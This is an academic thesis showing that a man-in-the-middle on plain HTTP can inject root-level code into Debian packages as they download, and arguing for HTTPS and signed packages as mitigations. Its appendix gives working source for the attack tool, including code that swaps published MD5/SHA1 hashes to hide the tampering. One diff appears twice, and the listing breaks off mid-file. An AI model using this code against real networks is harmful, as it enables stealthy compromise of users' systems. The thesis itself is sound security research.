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Abstract
As the Internet continues to mature, users are faced with an increasingly hostile environment 
on the World Wide Web.  Additionally, public WiFi networks continue to become more popular, 
hackers infiltrate corporate networks with regularity, and oppressive governments continue to 
intercept and modify their citizens' web traffic.  The concept of using an untrusted network is 
becoming more familiar.  Accordingly, it is no longer acceptable to design and build systems 
under the assumption that they will only operate in trusted environments, or that they are not 
important enough to warrant basic security measures.
This thesis describes a relatively basic HTTP man-in-the-middle attack that results in arbitrary 
code execution.  It demonstrates the ease with which users can be exploited when using 
systems that do not attempt to ensure their safety, and details the methods attackers can use 
to avoid detection.  The goal of this methodology is twofold – to illustrate the consequences of 
such an attack, and to discover methods for mitigating such attacks using existing 
technologies and best practices.
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Introduction
The thesis will explore the threat of a man-in-the-middle attack against HTTP that results in 
arbitrary code execution.  The inspiration for working on this topic is to demonstrate the 
importance of using HTTPS, even on websites that do not use session management or host 
user data.  This will be demonstrated by developing an HTTP man-in-the-middle attack tool 
that injects arbitrary code into executable files as they are downloaded.  This purpose of this 
tool is to raise awareness, and to exhibit detection, mitigation, and defense techniques 
against this class of attack.  This tool has been designed to be reliable and stealthy enough to 
be viable in real-world scenarios.  Data on the use and implementation of HTTPS on the 
World Wide Web is referenced to the illustrate the potential for attack against many web 
users.  Lastly, detection and mitigation techniques for both the client and server ends of the 
man-in-the-middle attack will be explored.
Goals
The transport security weaknesses of HTTP have been known almost since its inception.  The 
nature of the attack performed by this tool has been known for years.  Despite this, the vast 
majority of servers on the World Wide Web are not configured to adequately defend against 
this kind of attack.  As more tools of this nature are created, and as existing tools become 
more refined, the more compelling it becomes to design and build more secure systems on 
the web.  The goal is to research and document techniques to detect and defend against this 
kind of attack.  Researching a new kind of attack tool will help demonstrate the variety of 
attacks possible against HTTP, and reinforce the importance of using HTTPS to defend 
against them.  Lastly, demonstrating the impact of this issue should help raise awareness of 
this attack vector and help educate both end users and system administrators attempting to 
build secure systems on the web.
Background
HTTP was not designed with security in mind.  The first documented version of the protocol, 
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HTTP 0.9, makes no mention of security (Berners-Lee).  HTTP 1.0, documented four years 
later, explicitly states transport level encryption is beyond the scope of the specification 
(Berners-Lee, Fielding, and Frystyk).  This makes reading or modifying HTTP traffic trivial for 
a man-in-the-middle attacker.  A common application of the SSL protocol and its successor, 
TLS, is to provide a secure transport for HTTP known as HTTPS.  HTTPS has been used to 
ensure end-to-end confidentiality and integrity of web traffic since SSL's introduction 
(Elgamal).  Despite this, HTTPS is not always implemented, and when it is, it is often 
implemented improperly.  This is demonstrated by the findings of the SSL Pulse project.  This 
project uses data from Qualys SSL Labs' SSL Server Test to assess the SSL implementations 
of the top 200,000 sites on the World Wide Web.  According to the project, only 15.6% of the 
sites surveyed have a secure SSL implementation.  Less than one percent of the sites 
surveyed support HTTP Strict Transport Security (HSTS), which is currently the only server-
side mitigation for SSL stripping attacks (Marlinspike, “New Tricks”).
It should be noted that HTTPS is not a panacea.  In order for a user agent to verify the identity 
of the web site it is interacting with (i.e., whether or not a connection is trusted), HTTPS relies 
on hierarchical PKI.  This system uses certificates issued by certificate authorities (CAs) to 
form a hierarchy of trust.  The risks of using PKI have been well documented (Ellison and 
Schneier).  Some of these risks have been evident in recent years - trusted certificates for 
popular websites owned by Google, Microsoft, Yahoo, and others have been fraudulently 
issued several times, allowing man-in-the-middle attacks against HTTPS connections to go 
virtually undetected ("Microsoft Security Advisory (2524375)"; "Microsoft Security Advisory 
(2607712)"; "Microsoft Security Advisory (2641690)"; "Microsoft Security Advisory 
(2798897)").  While these cases illustrate some of the inherent weaknesses in HTTPS' use of 
PKI (and of PKI in general), they also demonstrate the hostile environment that users face on 
the web.  These cases are evidence that man-in-the-middle attacks have been, and will 
continue to be carried out in the wild.  Properly implemented HTTPS may not be bulletproof, 
but improperly implemented HTTPS (or no HTTPS) does not even give users a chance.
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Related works
Evilgrade is an attack tool used to deliver malicious code to applications that check for and 
receive software updates via HTTP.  This tool is similar to the one featured in the thesis in the 
sense that software that fails to use HTTPS (or uses it in an insecure manner) is vulnerable to 
attack.  The attack is not a man-in-the-middle attack per se - it impersonates update servers 
(e.g., ARP spoofing, DNS cache poisoning), but makes no attempt to communicate with 
legitimate servers upstream.  Attacks work against software updaters for specific applications 
that do not attempt to verify the identity of the remote update server.  When an application on 
a targeted client system checks for updates, Evilgrade responds to falsely indicate an update 
is available.  If the client chooses to apply that update, Evilgrade sends malicious code to the 
client, resulting in arbitrary code execution (Amato).  This technique is reportedly used as an 
attack vector by FinFisher, surveillance software marketed to law enforcement.  There has 
been speculation that this software has also been used by the Egyptian government to spy on 
dissidents (Hypponen).
Firesheep is a man-in-the-middle attack tool used to hijack web sessions.  The tool exploits 
web applications that process the login request via HTTPS (encrypting the username and 
password) and the rest of the session (including the session token) via HTTP.  This attack is 
passive is in the sense that an attacker is only required to sniff a single packet containing a 
user's session token.  After obtaining a user's session token, an attacker could fully 
impersonate the user, gaining complete read and write access to their user account (Butler 
and Gallagher).  Despite this being a well known problem with known solutions (including 
HTTPS), many popular websites including Twitter and Facebook were vulnerable to this 
attack.  The widespread use of Firesheep caused these companies to rethink their security 
posture (Hill).  Twitter eventually decided to make HTTPS the default method of 
communication on its website (Twitter).  Facebook followed suit several months later 
(Constantin).
sslstrip is a man-in-the-middle attack tool used to downgrade HTTPS connections to HTTP 
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(an attack known as SSL stripping).  For example, if a server responds with an HTTP redirect 
to an HTTPS URI, the tool will modify the response so that the client follows an HTTP redirect 
instead.  The tool keeps track of the downgrade, so that everything between the client and the 
tool is HTTP, and everything between the tool and the server is HTTPS.  The same kind of 
downgrading is done for hyperlinks - when the tool receives a web page from a server 
containing HTTPS hyperlinks, it downgrades them all to HTTP before forwarding the 
response to the client.  It keeps track of which URLs have been downgraded so that all traffic 
received from the client is sent in the clear, leading to a compromise of usernames, 
passwords, and other sensitive information.  It works on the premise that a web browser 
makes it very clear when a man-in-the-middle attack attempts to simulate an HTTPS 
connection using an untrusted certificate (e.g., scary browser warnings), but there are no 
conspicuous warnings when a session that is supposed to be HTTPS is HTTP instead.  Even 
an astute end user may not know if a session is supposed to be HTTP or HTTPS, for 
example, if they are not familiar with the website they are visiting (Marlinspike, "New tricks").  
This attack led to the creation of HTTP Strict Transport Security (HSTS), a policy that allows a 
web server to tell a compatible user agent that it should only be accessed via HTTPS 
(Hodges, Jackson, and Barth).
mitmproxy is a man-in-the-middle attack tool used to inspect and modify HTTP and HTTPS 
traffic.  Targeting HTTPS traffic is possible because the tool generates self-signed certificates 
on the fly (Cortesi, “mitmproxy source code”).  This tool was used to demonstrate an HTTP 
man-in-the-middle code execution vulnerability in pip (a package management tool for 
Python).  Details of the attack were disclosed in a user's post on the website Reddit.  
According to its documentation, mitmproxy differs from the tool featured in the thesis because 
it requires the entire upstream HTTP response to be received before it can be modified.  
Additionally, using mitmproxy to target HTTPS traffic can result in much noisier, easier to 
detect attacks if the targeted client is using a relatively modern web browser configured to 
identify and alert when an HTTPS connection is untrusted.
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Application Design
sslstrip and mitmproxy are existing applications that perform man-in-the-middle attacks 
against HTTP.  It would make sense to use the existing source code from either of these 
applications as a basis for the tool featured in the thesis.  Though it should be noted that both 
would require one fundamental change in order to be used in this research - neither of these 
applications allow upstream HTTP responses to be modified until they are completely 
received.  The tool featured in the thesis cannot share this limitation since it is possible that 
large requests (tens or hundreds of megabytes) will be intercepted and modified.  Ultimately, 
a decision was made to based the tool on the existing sslstrip source code (Marlinspike, 
sslstrip source code).  Using sslstrip leaves open the option of adding an SSL stripping 
capability to the tool after the core functionality is finished.  The tool will target a single format, 
and has been designed in a way that would allow other file formats to be targeted.  In order 
for a file format to be considered suitable for targeting, it must meet two primary requirements:
1. It must be possible to inject code on the fly, during the first pass reading the file
2. Code execution of some form must be guaranteed every time the file is used
With this criteria in mind, multiple file formats were researched for suitability:
MSI - this is a commonly used Microsoft Windows file format for installing software packages.  
This is an undocumented, proprietary file format (Mensching).  However, it does appear to be 
based on the Compound File Binary File format, an open specification published by Microsoft.  
It may fit the requirements, but making that determination requires further research and 
analysis on the structure of the file format and its suitability for code injection. (Microsoft 
Corporation, "[MS-CFB]").
RPM - a commonly used file format used to install packages on Red Hat Enterprise Linux and 
other derivative distributions.  Research indicates one of the tool's requirements cannot be 
met.  One of the file's headers must contain a MD5 hash of the data portion of the package.  
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This would require downloading an entire RPM file before any code could be injected ("RPM 
File Format").
ZIP - a commonly used file format for compression and archiving.  The ZIP specification 
allows extra non-ZIP data to be prepended to a ZIP file.  It also allows ZIP data to be 
appended to the end of a ZIP file.  However, this is not a suitable file format because there 
are no guarantees of code execution before, during, or after extraction of files from a ZIP 
archive (PKWARE, Inc.).
tar - a commonly used file format for archiving.  tar files consist of records - a 512 byte header 
followed by file data.  It would be easy to insert valid files into a tar archive.  It would also be 
possible to modify or overwrite files that already exist in the tar archive.  Even so, it does not 
fit the requirements of the tool and therefore is not a suitable file format.  Similar to ZIP, there 
are no guarantees of code execution before, during, or after extraction of files from a tar 
archive (Poznyakoff).
Portable Executable (PE) - an executable file format used on modern Windows operating 
systems.  Determining where and how to inject code without altering the existing functionality 
of a PE file cannot be done without doing multiple passes on the file (Sunshine).  However, it 
may be possible to turn a PE file into a compressed executable - compressing the original PE 
file and forwarding it to the client with some decompressor code, bundling everything into a 
single executable.  Including some extra code along with the decompressor could allow for 
arbitrary code execution.  This, too, requires further research.
Deb - a commonly used file format to install software packages on Debian Linux and 
derivative distributions.  A .deb file is a specially crafted archive in the ar file format (Hewlett-
Packard 98-100).  The archive contains three files.  The first file is four bytes, the second file 
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is typically a few kilobytes at most, and the third file contains anywhere from several kilobytes 
to several hundred megabytes.  The second file, control.tar.gz, is a gzipped tar file containing 
some metadata files and some shell scripts (prerm, preinst, and others) that are run before 
and after installation.  During installation, all files are extracted from control.tar.gz.  If a 
previous version of the package has been installed, the prerm shell script is run.  Therefore, 
even though code could be injected into this script, it is not guaranteed to be executed for 
every package that is installed.  Next, the (optional) preinst script is run if it exists.  If it does 
not exist, the attack tool can create it on the fly.  This file is essentially guaranteed to be 
executed.  This is where malicious code, which will be executed whenever the .deb package 
is installed, can be injected.  This means the victim only has to wait for the attacker to 
download and manipulate a few kilobytes before it starts receiving data.  This file format 
seems to be an ideal candidate for all requirements, and will be the sole format the tool will 
target (Lee).
After the Deb file format was selected as a target for exploitation, the tool was designed and 
implemented with the following additional requirements in mind:
• Arbitrary code must be injected into the targeted file on the fly, during the first pass 
reading the file.  This is done in an attempt to evade detection.  In other words, the tool 
must not download the entire targeted file, inject arbitrary code, and then forward the 
modified file to the victim.  That approach would not be practical for large files or 
transfers over slow links - the request would likely timeout on the client's side before a 
successful attack is completed.
• The tool must only target file formats where injected code is guaranteed to be executed 
when the modified file is used by its recipient.
• The injected code must not have any adverse affect on the file being modified.  This is 
an attempt to evade detection.  In other words, when the file is successfully 
downloaded by the victim, the arbitrary code must be executed in addition to the 
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original code, rather than in place of the original code.
• The tool must perform a successful attack against virtually all download requests 
targeted for arbitrary code execution.  In other words, the tool must be reliable.
• After injecting arbitrary code into a file, it must attempt to circumvent subsequent 
integrity checking.  Specifically, if the tool processes subsequent server responses 
containing MD5 or SHA1 hashes of any files it has previously modified, it must replace 
them with a hash of the new, modified file that contains the injected code.  This is an 
attempt to evade detection.
• All the above features must be demonstrated by performing a man-in-the middle attack 
where a client downloads and uses a file of one of the targeted formats, resulting in the 
execution of arbitrary code.
Implementation
To demonstrate the security risks of not ensuring the integrity of downloads from a website 
where software is hosted, this paper will detail the development of an HTTP man-in-the-
middle attack tool that injects arbitrary code into executable files as they are downloaded.  
This tool assumes it is being operated by an attacker who already has the means to perform a 
man-in-the-middle attack.  Some examples are an attacker who:
• Physically owns the network
• Compromises network infrastructure, e.g. ARP or DNS spoofing
• Operates a Tor exit node (Dingledine, Mathewson, and Syverson)
The source code of sslstrip was largely unmodified to create this tool, though (ironically) it no 
longer does SSL stripping in its current state (refer to Appendix A for detailed diffs).  The main 
difference is the creation of a new file – DebInjector.py.  This class examines the body of 
every HTTP response sent from a web server to a targeted victim, and determines how it 
should be modified, if at all.  This process is detailed in the following flowchart:
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9Figure 1: The logic DebInjector.py uses to process an HTTP response
If it appears to be a .deb file (an ar archive whose first two files are debian-binary and 
control.tar.gz), it attempts to inject arbitrary code.  After injecting code, it maintains a table 
mapping MD5 and SHA1 hashes of the original file to hashes of the modified file (which 
includes injected code).  If the original hashes are seen in any subsequent responses, they 
are replaced before the page is forwarded.  If the response body is neither a .deb file nor a 
page containing hashes that need to be modified, the response is forwarded unmodified.  
Expected Behavior
It is expected that this tool will be able to perform a successful attack against a victim using 
HTTP on an untrusted network, resulting in arbitrary code execution after downloading and 
using a file structured in one of the targeted formats.  When using the appropriate mitigations, 
it is expected that a successful attack is far less likely, and virtually impossible without 
attacking HTTPS (including its system of hierarchical trust) itself.  Attacks against the 
SSL/TLS protocol are outside the scope of the thesis.
Test Environment
The goal of this paper is to explore the feasibility of an HTTP man-in-the-middle attack that 
results in arbitrary code execution, and identify possible mitigation techniques.  This was 
accomplished by running the aforementioned attack tool in a controlled lab environment.  This 
environment was created using VMware ESXi 5.0, using separate virtual machines for each 
host involved in the attack scenario.  The following three hosts were used to demonstrate this 
attack:
• Victim – a 64-bit Ubuntu Desktop 10.04 host that attempts to manually download a 
Debian package via HTTP and install it
• Attacker – a 32-bit Ubuntu Desktop 12.04 host that performs a man-in-the-middle 
attack on Victim.  This is accomplished by:
◦ ARP spoofing
◦ Inspecting all inbound HTTP responses sent to Victim
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◦ Modifying any HTTP responses that appear to contain .deb packages, injecting 
malicious code on the fly
◦ Modifying any HTTP responses that appear to contain MD5 or SHA1 hashes of 
previously modified .deb packages
• Website – a 32-bit CentOS 6 host running a web server that acts as a download mirror 
for .deb packages.  The pages hosted by this web server can be found in Appendix C
Anatomy of an Attack
This attack scenario focuses on a user trying to manually download a .deb package from 
Website to install it locally on Victim.  The normal, expected interaction between a client and a 
web server looks like the following:
The interaction is quite simple – a user agent on Victim requests a .deb package from the 
web server on Website.  If there are no issues (the file exists, authentication is not required, et 
cetera), the file is successfully downloaded by the user agent, and is ready to be installed 
11
Figure 2: Downloading a .deb package from a web server
without incident.  When Victim attempts to download and install a .deb from Website, this is 
what it expects to happen.  When the attack occurs, this is what Victim thinks is happening.  
However, during the attack much more is going on behind the scenes:
Due to the nature of the man-in-the-middle attack, malicious code is injected into the 
downloaded package in a way that is mostly transparent to both Victim and Website.  The 
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Figure 3: Attacker injects malicious code into a downloaded .deb on the fly
man-in-the-middle attacker is routing and inspecting all HTTP traffic sent to and from Victim.  
It examines the first few bytes of the HTTP body sent in each response to Victim to determine 
if it looks like debian-binary (Figure 2, step 3), which is the first file contained in all .deb 
packages (Figure 3).  If it the data does not appear to be a .deb package, the HTTP body is 
sent, unmodified, to Victim.  This is done to avoid detection, in an attempt to avoid giving 
Victim any indication that something untoward is taking place.
On the other hand, if the data does appear to be a .deb package, Attacker begins analyzing 
the incoming data from Website, determining where to inject its malicious payload (Figure 2, 
step 4).  As mentioned previously, .deb packages are archives in the ar format, consisting of 
three files:
In an HTTP response body, a .deb file appears to be three separate, contiguous files (along 
with some metadata related to the ar file format).  This allows the Attacker to analyze 
incoming .deb data in real time, one file at a time.  This also allows Attacker to make the 
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Figure 4: .deb file format
determination of whether or not it can attempt to inject malicious code, and if so, where and 
how to inject the payload.
After identifying a .deb package in the incoming HTTP response, Attacker can begin injecting 
its payload into control.tar.gz.  As mentioned previously in the paper, this is an ideal place to 
inject undetected malicious code.  This file contains shell scripts that are executed before, 
during, and after the installation of a .deb package, and they are run with root privileges.  
Attacker can inject malicious shell script into an existing shell script, or create a new shell 
script that it knows will be executed when the package is installed.  The payload used in this 
attack scenario is rather basic – all it does is create a file in /tmp, demonstrating that it was 
able to execute arbitrary code as root.  This file also contains the URL that Victim requested, 
along with the time the malicious code was executed.  For more details on the code used to 
generate this file, refer to source code for DebInjector.py in Appendix A.  After the payload is 
injected in the HTTP response stream, it looks like the following:
14Figure 5: malicious payload injected in a 
.deb file
As soon as control.tar.gz has been modified, the beginning of the HTTP response up to and 
including the modified control.tar.gz can be sent to Victim (Figure 2, step 5).  Since the 
payload is only injected in control.tar.gz, data.tar.gz can be sent to Victim, unmodified.  It is 
sent to Victim as it is received from Website (data is buffered if necessary) in chunks of four 
kilobytes (Figure 2, step 6).  Throughout the process of modifying the HTTP response, 
Attacker attempts to provide data to Victim the most timely and steady manner possible so as 
not to create any noticeable delays during the download process.  This is a crucial element of 
the attack that allows Attacker to evade detection – data.tar.gz is virtually always the largest 
file in a .deb package.  The first two files (debian-binary and control.tar.gz) are a few kilobytes 
at most.  Since this is where the malicious code is injected, these two files must be fully 
downloaded, analyzed, and processed before any data can be sent to Victim.  If these files 
were any larger, there would be a noticeably long delay between the time when Victim makes 
its initial HTTP request and the time when it begins receiving an HTTP body.  Accordingly, if 
Attacker was required to inject its payload into data.tar.gz, it would either need to fully 
download, analyze, and process the entire HTTP body before responding to Victim, or it 
would need to attempt to generate injected, compressed data on the fly (a topic beyond the 
scope of this paper).  Downloading and modifying the entire HTTP body before forwading it to 
Victim is considered impractical because many .deb packages contain a data.tar.gz that is 
tens or hundreds of megabytes.
Lastly, Attacker will make one final attempt to cover its tracks.  When it is downloading and 
modifying a .deb package, it generates MD5 and SHA1 hashes for both the original, 
unmodified package (the data downloaded directly from Website) as well as the trojaned, 
modified package (the data sent to Victim).  Attacker creates a table containing this 
information, mapping the hashes of unmodified packages to hashes of the corresponding 
package that contains injected code.  If Attacker determines it is sending an HTTP response 
to Victim that contains the hash of a package it has previously injected code into, it will update 
the hash accordingly.  This is used to evade detection in situations where Victim receives a 
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malicious package from Attacker, then attempts to verify the file integrity by retrieving hashes 
from Website.
Attack Scenario
After laying out how the mechanics of the attack, it was finally time to attempt it in the lab.  
First, Attacker begins the man-in-the-middle attack by running the arpspoof and HTTP man-
in-the-middle tools, specifically targeting Victim (refer to Appendix B for more information).
Next, Victim requests a page from a web server, looking for a specific software package to 
download:
Attacker requests this page from Website, determines the response does not contain a .deb 
package, and sends it back to Victim without modifying it.
Next, Victim attempts to download the 64-bit Ubuntu package.  Attacker requests this page 
from Website, determines that it does contain a .deb package, and injects malicious code in 
the modified response sent to Victim.  After the transfer is complete, Attacker keeps track of 
the MD5 and SHA1 hashes of the original and modified packages.
Before installing the package, Victim clicks on the link labeled “Hashes (integrity checking).”  
Attacker requests this page from Website, analyzes the response, and determines that it 
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Figure 6: Victim attempts to download a .deb via HTTP
contains the MD5 and SHA1 hashes for a .deb package it has previously modified.  If this 
page was sent back to Victim unmodified, it would look like the following:
Since these packages were modified in transit, these hashes would not match any hashes 
calculated locally on Victim, raising a red flag.  Attacker accounts for this by replacing the 
hashes before sending this page back to Victim, where it is displayed as such: 
(Note only the hashes for the 64-bit package have been changed, since that is the only 
package Attacker has modified so far.)
Victim remembers reading an article on Slashdot that claimed MD5 is broken, and therefore 
decides to use the SHA1 hash to verify the integrity of the recently downloaded package.  The 
locally calculated hash matches up with the one listed on the web page, and Victim feels 
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Figure 7: A page of hashes sent from Website to Attacker
Figure 8: A modified page of hashes, sent from Attacker to Victim
confident that the package has been transmitted unmodified.
Victim attempts to install the package, and does so successfully:
The service is started, and the software functions normally:
Victim has a thorough, diligent system administrator who decides to check the log file at 
/var/log/dpkg.log to see if there were any issues or anomalies during the installation.  Nothing 
out of the ordinary was found in this, or any other log file.  (Research indicates installing the 
original package and the modified package yield identical logs).
Despite all indications that nothing untoward has happened, malicious code was executed on 
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Figure 9: The trojaned package is installed successfully
Figure 10: The modified package is installed and runs without any apparent adverse effects
Victim the moment that the package was installed.  The payload could have been virtually 
anything, and is guaranteed to run with root privileges (required by dpkg).  For this proof-of-
concept, all the injected code did was create the following file:
Recommendations for Mitigation
The attack described above was successful for two reasons:
1. Victim had no way of verifying the authenticity of the connection
2. Victim had no way of verifying the authenticity of the package after it was downloaded
These are well-known problems with cryptographic solutions.  A user agent can determine 
whether or not a connection should be trusted by using HTTPS.  This gives the user agent the 
opportunity to verify the identity of the host it is communicating with.  Additionally, the 
authenticity of the downloaded file can be verified if it is cryptographically signed.  This gives 
the user the opportunity to determine if the package was last modified and signed by a trusted 
entity.  Together, these approaches allow a user to verify the integrity and authenticity of the 
data in transit and at rest.
After the successful attack scenario was completed, a slightly different attack scenario was 
attempted and failed.  Instead of having Victim manually download and install a single 
package, Victim attempted to download and install several packages via APT, a package 
installation/update/removal application provided by the operating system.  This was attempted 
by running “sudo apt-get upgrade” on Victim, which had several dozen packages out of date.  
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Figure 11: The proof-of-concept payload demonstrates it was executed
This resulted in zero instances of arbitrary code execution.  Even though the Deb file format 
does not have a built-in package verification mechanism, this was made possible using 
secure apt, an out-of-band cryptographic method of verifying downloaded packages (Debian 
Wiki).
Future Work
In order to understand how to defend against this attack, it is important to first understand the 
ways that it can be improved.  There is an old saying at the National Security Agency, often 
quoted by cryptographer Bruce Schneier - “attacks always get better, they never get worse.”
One way the attack tool could be improved is by providing an SSL stripping capability.  This 
would allow an attacker to inject code into downloads from websites that do not use HTTPS 
consistently throughout the entire website, or for websites that do not use HTTPS with HSTS.  
This should be relatively simple since the tool used in this paper was based on sslstrip, 
though this likely requires a redesign of the changes used in the implementation for this 
paper.
The tool could also be improved by providing a capability to inject malicious code into file 
formats other than .deb.  It is quite possible that some of the other file formats explored for 
this paper are also suitable for this kind of attack.  Package 
management/installation/upgrades are typically handled by the operating system on hosts 
that are using Linux distributions.  The attack scenario presented in this paper (manually 
downloading and installing a Ubuntu package) is somewhat uncommon – most Ubuntu 
packages can be downloaded and installed using APT, which (as mentioned earlier) takes 
additional steps to verify the integrity and authenticity of the packages it downloads before 
attempting to install them.  On the other hand, this scenario (manually downloading and 
installing software packages) is much more like to occur on computers using Microsoft 
Windows operating systems.  Microsoft has package management tools for Windows, but 
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they are typically only used to download and install software updates, and only for a specific 
subset of first party software.  Additionally, Windows operating systems are used by the vast 
majority of personal computers connected to the web.  Based on this information, it is likely 
that manually downloading and installing third party software packages via HTTP is a far 
more common occurrence on hosts running Windows.  In order to take advantage of this, 
future versions of the tool could attempt to target file formats used by Windows.  Two in 
particular that were briefly explored for this paper are MSI and PE.  At first glance, MSI seems 
suitable to such an attack.  Code is guaranteed to be executed when an MSI is installed, and 
similar to .deb, an MSI file is essentially a flat file database.  Further research is required to 
determine whether or not this means arbitrary code can be injected reliably.  For PE files, the 
idea of injecting code by creating a new, compressed executable (i.e., sending the victim a file 
that contains decompressor code intertwined with arbitrary code, followed by the original 
executable, compressed on the fly) has promise, but needs to be researched further to 
determine its feasibility.
Conclusions
The attack scenario presented in this paper accomplished what it set out to do – demonstrate 
that an HTTP man-in-the-middle attack can result in arbitrary code execution, show the 
impact of such an attack, and provide mitigation techniques.  The most striking lesson learned 
while performing this attack is the extreme difficulty of detecting it in situations where servers 
do not use HTTPS and packages are not cryptographically signed.  This is particularly striking 
because many servers on the web that host software do not use either of these security 
measures.  After the file was successfully downloaded on the system, the attacker had 
already won.  If the payload contained a stealthy, robust piece of malware rather than the 
proof-of-concept payload used in this research, the attack could have gone undetected 
indefinitely.  If a server that hosts software does not provide clients the tools needed to detect 
and prevent this attack, only poorly written or conspicuous malware will immediately alert 
users that their system has been compromised.
21
The attack scenario outlined in this paper occurred under ideal conditions.  If the hashes were 
on the same page as the download links, Attacker would not have had the chance to modify 
them in a timely manner, which would have allowed a diligent end user to realize the 
downloaded file had been modified.  If any of the conditions of the attack scenario could have 
only been covered by features covered in the “Future Work” section above, the attack would 
have also failed.  Focusing on these issues misses the point.  There are simple, effective 
mitigations for making this class of attack much more difficult to exploit.
This issue can be effectively mitigated by using a combined approach involving HTTPS and 
cryptographically signing software packages made available for download.  These are the 
biggest lessons taken away from working on this problem.  Both of these approaches rely 
heavily on PKI, which as mentioned earlier, presents its own set of challenges to properly 
implement.  Despite this, together, they provide users with a fighting chance to stay safe when 
downloading executables from the web.
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Appendix A (Source code, sslstrip diffs)
The tool used to demonstrate the HTTP man-in-the-middle attack described in this paper was 
based on sslstrip version 0.9.  The following changes were made to sslstrip to create this tool.
Changes to sslstrip/ClientRequest.py:
--- sslstrip-0.9/sslstrip/ClientRequest.py 2011-05-14 23:38:27.000000000 -0400
+++ thesis/sslstrip/ClientRequest.py   2012-12-30 12:18:22.000000000 -0500
@@ -33,6 +33,7 @@
 from URLMonitor import URLMonitor
 from CookieCleaner import CookieCleaner
 from DnsCache import DnsCache
+from DebInjector import DebInjector
 
 class ClientRequest(Request):
 
@@ -133,9 +134,13 @@
         deferred.addErrback(self.handleHostResolvedError)
         
     def proxyViaHTTP(self, host, method, path, postData, headers):
-        connectionFactory          = ServerConnectionFactory(method, path, postData, headers, self)
-        connectionFactory.protocol = ServerConnection
-        self.reactor.connectTCP(host, 80, connectionFactory)
+        if method != 'GET':
+          connectionFactory          = ServerConnectionFactory(method, path, postData, headers, self)
+          connectionFactory.protocol = ServerConnection
+          self.reactor.connectTCP(host, 80, connectionFactory)
+        else:
+          deb = DebInjector(self)
+          deb.processRequest(host, 80, path, method, postData, headers)
 
     def proxyViaSSL(self, host, method, path, postData, headers, port):
         clientContextFactory       = ssl.ClientContextFactory()
Changes to sslstrip/ClientRequest.py:
--- sslstrip-0.9/sslstrip/ClientRequest.py 2011-05-14 23:38:27.000000000 -0400
+++ thesis/sslstrip/ClientRequest.py   2012-12-30 12:18:22.000000000 -0500
@@ -33,6 +33,7 @@
 from URLMonitor import URLMonitor
 from CookieCleaner import CookieCleaner
 from DnsCache import DnsCache
+from DebInjector import DebInjector
 
 class ClientRequest(Request):
 
@@ -133,9 +134,13 @@
         deferred.addErrback(self.handleHostResolvedError)
         
     def proxyViaHTTP(self, host, method, path, postData, headers):
-        connectionFactory          = ServerConnectionFactory(method, path, postData, headers, self)
-        connectionFactory.protocol = ServerConnection
-        self.reactor.connectTCP(host, 80, connectionFactory)
+        if method != 'GET':
+          connectionFactory          = ServerConnectionFactory(method, path, postData, headers, self)
+          connectionFactory.protocol = ServerConnection
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+          self.reactor.connectTCP(host, 80, connectionFactory)
+        else:
+          deb = DebInjector(self)
+          deb.processRequest(host, 80, path, method, postData, headers)
 
     def proxyViaSSL(self, host, method, path, postData, headers, port):
         clientContextFactory       = ssl.ClientContextFactory()
sslstrip/DebInjector.py (a new file created for this thesis):
import time, string, tarfile, httplib, hashlib
from Injector import Injector
from tarfile import TarFile, TarInfo
from cStringIO import StringIO
from HashMonitor import HashMonitor
class DebInjector(Injector):
  '''This class performs a MiTM attack, downloading a legitimate .deb package,
  injecting malicious shell script into it, then forwarding it to the victim.
  The shell script is injected into 'preinst', a shell script included in
  control.tar.gz (the second file in the .deb archive).  This script runs when
  a .deb package is being installed.  If preinst does not exist in the package
  that is being trojaned, it will be created.'''
  def __init__(self, client):
    Injector.__init__(self, '.deb')
    self.hashmonitor = HashMonitor.getInstance()
    self.client = client
    self.md5legit = hashlib.md5()
    self.md5trojan = hashlib.md5()
    self.sha1legit = hashlib.sha1()
    self.sha1trojan = hashlib.sha1()
  def updateAllHashes(self, data):
    self.updateLegitHashes(data)
    self.updateTrojanHashes(data)
  def updateLegitHashes(self, data):
    self.md5legit.update(data)
    self.sha1legit.update(data)
  def updateTrojanHashes(self, data):
    self.md5trojan.update(data)
    self.sha1trojan.update(data)
  def headersToString(self, headers, addLen=0):
    '''Converts a list of (header-name, header-value) tuples into a string'''
    strHeaders = ''
    for name, value in headers:
      if name == 'content-length':
        value = int(value)
        value += addLen
        value = str(value)
      strHeaders += '%s: %s\r\n' % (name, value)
    return strHeaders
  def sendUnmodifiedResponse(self, httpResponse, data):
    self.client.setResponseCode(httpResponse.status, httpResponse.reason)
    for name, value in httpResponse.getheaders():
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      self.client.setHeader(name, value)
    # forward any partially read data along with the rest of the response, unmodified
    data = data + httpResponse.read()
    # if this page appears to contain MD5 or SHA1 hashes of packages we have previously
    # trojaned, replace them accordingly so they match up with the trojaned package
    for legithash in self.hashmonitor.hashes.keys():
      data = data.replace(legithash, self.hashmonitor.hashes[legithash])
    self.client.write(data)
    self.client.finish()
    return
  def sendMaliciousResponse(self, httpResponse, data, addLen=0):
    '''Sends "data" (which has been analyzed and potentially modified) to the
    victim, then continues reading and forwarding the rest of the HTTP body
    verbatim'''
    if httpResponse.version == 11:
      status = 'HTTP/1.1 %d %s\r\n' % (httpResponse.status, httpResponse.reason)
    else:
      status = 'HTTP/1.0 %d %s\r\n' % (httpResponse.status, httpResponse.reason)
    headers = self.headersToString(httpResponse.getheaders(), addLen)
    self.client.channel.transport.socket.setblocking(1)
    self.client.channel.transport.socket.sendall(status + headers + '\r\n')
    # send data (start of response to the end of the modified data) to the client
    if len(data) > 0:
      self.client.channel.transport.socket.sendall(data)
    remainingBytes = int(httpResponse.getheader('content-length')) - len(data) + addLen
    # send the rest of the (unmodified) data to the client
    while remainingBytes > 0:
      if remainingBytes > self.MAX_HTTP_REQ_SIZE:
        bytesToRead = self.MAX_HTTP_REQ_SIZE
      else:
        bytesToRead = remainingBytes
      data = httpResponse.read(bytesToRead)
      self.client.channel.transport.socket.sendall(data)
      self.updateAllHashes(data)
      remainingBytes -= bytesToRead
    self.hashmonitor.addTrojanHash(self.md5legit, self.md5trojan)
    self.hashmonitor.addTrojanHash(self.sha1legit, self.sha1trojan)
    self.client.channel.transport.socket.close()
  def readArFile(self, httpResponse):
    '''Reads ar file header and file data from the given httpResponse'''
    filename = httpResponse.read(16)
    mtime = httpResponse.read(12)
    uid = httpResponse.read(6)
    gid = httpResponse.read(6)
    mode = httpResponse.read(8)
    size = httpResponse.read(10)
    magic = httpResponse.read(2)
    header = filename + mtime + uid + gid + mode + size + magic
    data = httpResponse.read(int(size))
    return {'header':header, 'data':data}
  def processRequest(self, host, port, path, method, postData, headers):
